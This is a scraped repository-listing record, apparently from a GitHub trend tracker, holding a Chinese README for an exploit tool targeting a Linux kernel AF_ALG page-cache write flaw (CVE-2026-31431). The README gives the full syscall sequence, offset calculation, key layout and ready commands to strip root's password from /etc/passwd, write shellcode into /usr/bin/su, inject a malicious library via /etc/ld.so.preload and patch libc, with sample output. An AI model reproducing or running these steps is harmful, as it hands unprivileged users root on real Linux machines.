[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-2383":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":14,"contributorsCount":14,"subscribersCount":14,"size":14,"stars1d":15,"stars7d":15,"stars30d":16,"stars90d":14,"forks30d":14,"starsTrendScore":17,"compositeScore":18,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":19,"fork":19,"defaultBranch":20,"hasWiki":21,"hasPages":19,"topics":22,"createdAt":9,"pushedAt":9,"updatedAt":23,"readmeContent":24,"aiSummary":25,"trendingCount":14,"starSnapshotCount":14,"syncStatus":26,"lastSyncTime":27,"discoverSource":28},2383,"CVE-2026-31431-Advanced-Exploit","Sndav\u002FCVE-2026-31431-Advanced-Exploit","Sndav","CVE-2026-31431 纯文件利用",null,"Python",109,31,86,0,1,12,3,45.22,false,"master",true,[],"2026-06-12 04:00:14","# CVE-2026-31431 — Copy Fail\n\n**Linux 内核页缓存越权写入漏洞 (AF_ALG AEAD 散列表链错误)**\n\n## 概述\n\nLinux 内核 `algif_aead` 接口存在一个漏洞，允许**无特权用户**向任意**可读文件**的页缓存（page cache）写入任意数据——完全绕过文件权限检查、强制访问控制（MAC）以及完整性校验。\n\n磁盘上的文件内容不会改变，但此后所有读取该文件的进程（包括 SUID 程序、动态链接器、`execve()` 等）都会看到攻击者篡改后的版本，直到页缓存被回收。\n\n## 影响范围\n\n| 项目 | 说明 |\n|---|---|\n| 子系统 | `crypto\u002Falgif_aead.c` |\n| 算法 | `authencesn(hmac(sha256),cbc(aes))` |\n| 内核配置 | `CONFIG_CRYPTO_USER_API_AEAD=y\u002Fm`（几乎所有主流发行版默认启用） |\n| 所需权限 | **无** — 只要对目标文件有读权限即可 |\n| 危害等级 | 本地提权 → **root** |\n| 受影响发行版 | Ubuntu、Debian、Fedora、RHEL、Arch、openSUSE 等 |\n\n## 漏洞原理\n\n### 简要说明\n\n通过 `AF_ALG` 执行 AEAD 解密时：\n\n1. 用户态通过 `sendmsg()` + `MSG_MORE` 发送关联认证数据（AAD），其中包含攻击者控制的 4 字节 `seqno_lo`。\n2. 通过 `splice()` 将目标文件的页缓存页面注入到内核加密子系统的发送散列表（TX SGL）中。\n3. 内核构建**目标散列表**（dst SGL）时，将接收缓冲区与页缓存页面通过 `sg_chain` 链接在一起。\n4. `authencesn` 算法将 `seqno_lo` 写入目标散列表偏移 `assoclen + cryptlen` 处——该位置**越过接收缓冲区，直接落入链接的页缓存页面**。\n5. 此写入发生在 HMAC 校验**之前**。HMAC 失败后内核返回 `EBADMSG` 错误，但页缓存已被篡改。\n\n### 数据流图\n\n```\n sendmsg (AAD)            splice (文件页面)\n     │                         │\n     ▼                         ▼\n ┌──────────┐  sg_chain   ┌──────────────────────┐\n │ RX 缓冲区 │─────────────▶│   页缓存页面          │\n │  8 字节   │              │  （文件内容）          │\n └──────────┘              └──────────────────────┘\n                                  ▲\n                                  │\n                      authencesn 在此写入 seqno_lo\n                      偏移 = assoclen + cryptlen\n                      ════ 这就是漏洞所在 ════\n```\n\n### 关键点\n\n- `seqno_lo` 的 4 字节完全由攻击者在 AAD 中控制（**写什么**）\n- `splice` 的长度决定了写入在页缓存中的偏移（**写哪里**）\n- 两者结合 = 对任意可读文件页缓存的**任意 4 字节写入原语**\n\n## 使用方法\n\n### 快速提权\n\n```bash\n# 篡改 \u002Fetc\u002Fpasswd 页缓存，移除 root 密码，自动执行 su root\n.\u002Fexploit.py escalate\n```\n\n执行过程：\n\n1. 将 `\u002Fetc\u002Fpasswd` 原始内容备份到 `\u002Ftmp\u002F.passwd.bak`\n2. 在页缓存中将 `root:x:0:0:root:...` 修改为 `root::0:0:root :...`\n3. 自动调用 `su root`（无需密码）\n\n输出示例：\n\n```\n[*] CVE-2026-31431 — Copy Fail\n[*] Mode: remove root password via \u002Fetc\u002Fpasswd\n\n[*] Backup: \u002Ftmp\u002F.passwd.bak\n[*] Before : root:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash\n[*] After  : root::0:0:root :\u002Froot:\u002Fbin\u002Fbash\n[*] Offset : 0\n\n    [0x000000]  726f6f74  root\n    [0x000004]  3a3a303a  ::0:\n    [0x000008]  303a726f  0:ro\n    [0x00000c]  6f742020  ot\n    [0x000010]  3a2f726f  :\u002Fro\n    [0x000014]  6f743a2f  ot:\u002F\n    [0x000018]  62696e2f  bin\u002F\n    [0x00001c]  62617368  bash\n\n[+] Success: root::0:0:root :\u002Froot:\u002Fbin\u002Fbash\n\n[*] Recovery: echo 3 > \u002Fproc\u002Fsys\u002Fvm\u002Fdrop_caches\n[*] Running: su root (no password needed)\n```\n\n### 通用：任意页缓存写入\n\n```bash\n# 基本语法\n.\u002Fexploit.py write \u003C文件路径> \u003C偏移量> \u003C数据>\n\n# 从二进制文件读取 payload\n.\u002Fexploit.py write \u003C文件路径> \u003C偏移量> @payload.bin\n```\n\n#### 使用示例\n\n```bash\n# 将 shellcode 写入 SUID 程序的入口点\n.\u002Fexploit.py write \u002Fusr\u002Fbin\u002Fsu 0x1040 @shellcode.bin\n\n# 注入预加载库路径\n.\u002Fexploit.py write \u002Fetc\u002Fld.so.preload 0 '\u002Ftmp\u002Fevil.so\\n'\n\n# 篡改 libc 函数（例如让 getuid() 返回 0）\n.\u002Fexploit.py write \u002Fusr\u002Flib\u002Flibc.so.6 0x284a0 '\\x31\\xc0\\xc3\\x90'\n```\n\n## 约束条件\n\n| 约束 | 说明 |\n|---|---|\n| **读权限** | 目标文件必须对当前用户可读（`O_RDONLY`） |\n| **对齐** | 每次写入 4 字节；不足 4 字节的尾部用 `0x90` 填充 |\n| **文件大小** | 文件大小必须 ≥ `偏移量 + 数据长度 + 4` 字节 |\n| **仅页缓存** | 磁盘上的文件内容**不会**被修改 |\n| **持久性** | 页缓存被回收或手动清除前一直有效 |\n| **内核配置** | 需要 `AF_ALG` + `authencesn` 可用（主流发行版默认具备） |\n\n## 恢复方法\n\n```bash\n# 方法一：清除所有页缓存，恢复磁盘上的原始内容\necho 3 > \u002Fproc\u002Fsys\u002Fvm\u002Fdrop_caches\n\n# 方法二：重启\nreboot\n```\n\n## 内部技术细节\n\n### AF_ALG 套接字初始化\n\n```\nsocket(AF_ALG, SOCK_SEQPACKET, 0)\n  → bind(\"aead\", \"authencesn(hmac(sha256),cbc(aes))\")\n  → setsockopt(SOL_ALG, ALG_SET_KEY, authenc_密钥blob)\n  → setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)\n  → accept()  →  请求 fd\n```\n\n### 密钥结构（authenc key blob）\n\n```\n┌─────────────────────────────────────────────┐\n│ rta_len (2B)  │ rta_type (2B) │ enckeylen (4B) │\n│   0x0008      │   0x0001      │  0x00000010    │\n├─────────────────────────────────────────────┤\n│         认证密钥 (16 字节全零)                  │\n├─────────────────────────────────────────────┤\n│         加密密钥 (16 字节全零)                  │\n└─────────────────────────────────────────────┘\n```\n\n密钥值无关紧要——HMAC 必然失败，但越权写入在校验之前已完成。\n\n### 单次 4 字节写入流程\n\n```\n步骤 1:  sendmsg(req_fd,\n                  AAD = [seqno_hi(4B) | seqno_lo(4B)],    ← seqno_lo = 要写入的值\n                  cmsg = [OP=DECRYPT, IV=全零, ASSOCLEN=8],\n                  flags = MSG_MORE)\n\n步骤 2:  pipe_r, pipe_w = pipe()\n\n步骤 3:  splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)\n\n步骤 4:  splice(pipe_r → req_fd, count = file_offset + 4)\n\n步骤 5:  recv(req_fd, ASSOC_LEN + file_offset)\n          → 触发 authencesn 解密\n          → seqno_lo 被写入 dst SGL 偏移 assoclen + cryptlen\n          → 该偏移落在页缓存页面的 file_offset 处\n          → HMAC 失败, 返回 EBADMSG\n          → 页缓存已被篡改 ✓\n```\n\n### 偏移计算\n\n```\ndst SGL 布局:\n  [0 .. 7]                         → RX 缓冲区 (AAD 接收区)\n  [8 .. 8 + file_offset + 3]      → 页缓存页面 (splice 注入)\n\nseqno_lo 写入位置:\n  dst[assoclen + cryptlen]\n  = dst[8 + file_offset]\n  = 页缓存中 file_offset 处\n\n∴ 攻击者控制 file_offset → 控制写入位置\n  攻击者控制 seqno_lo    → 控制写入内容\n```\n\n## 文件结构\n\n```\n.\n├── exploit.py          # 自包含漏洞利用脚本（仅需 Python 3 + Linux）\n└── README.md           # 本文件\n```\n\n## 利用场景一览\n\n| 攻击路径 | 目标文件 | 效果 |\n|---|---|---|\n| 移除 root 密码 | `\u002Fetc\u002Fpasswd` | `su root` 无需密码 |\n| 注入预加载库 | `\u002Fetc\u002Fld.so.preload` | 所有程序加载恶意 `.so` |\n| 篡改 SUID 程序 | `\u002Fusr\u002Fbin\u002Fsu` 等 | 执行 shellcode 获取 root shell |\n| 篡改 libc | `\u002Fusr\u002Flib\u002Flibc.so.6` | 劫持 `getuid()` 等函数返回 0 |\n| 篡改 PAM 模块 | `\u002Fusr\u002Flib\u002Fsecurity\u002Fpam_unix.so` | 绕过所有认证 |\n| 篡改 sudo | `\u002Fusr\u002Fbin\u002Fsudo` | 任意用户直接获得 root |\n\n## 免责声明\n\n本工具仅用于授权的安全研究和渗透测试。未经授权使用本工具攻击他人系统属于违法行为。使用者应自行承担所有法律责任。","该项目提供了一个针对 CVE-2026-31431 漏洞的利用工具，该漏洞允许无特权用户向任意可读文件的页缓存中写入数据。核心功能包括篡改文件内容以实现本地提权或执行任意代码，适用于多种主流 Linux 发行版。技术上，它通过 `AF_ALG` 接口和 `splice()` 系统调用来绕过文件权限检查，并在页缓存中进行越权写入。此项目适合安全研究人员、渗透测试人员以及系统管理员用于评估和修复系统中的潜在安全风险。",2,"2026-06-11 02:49:44","CREATED_QUERY"]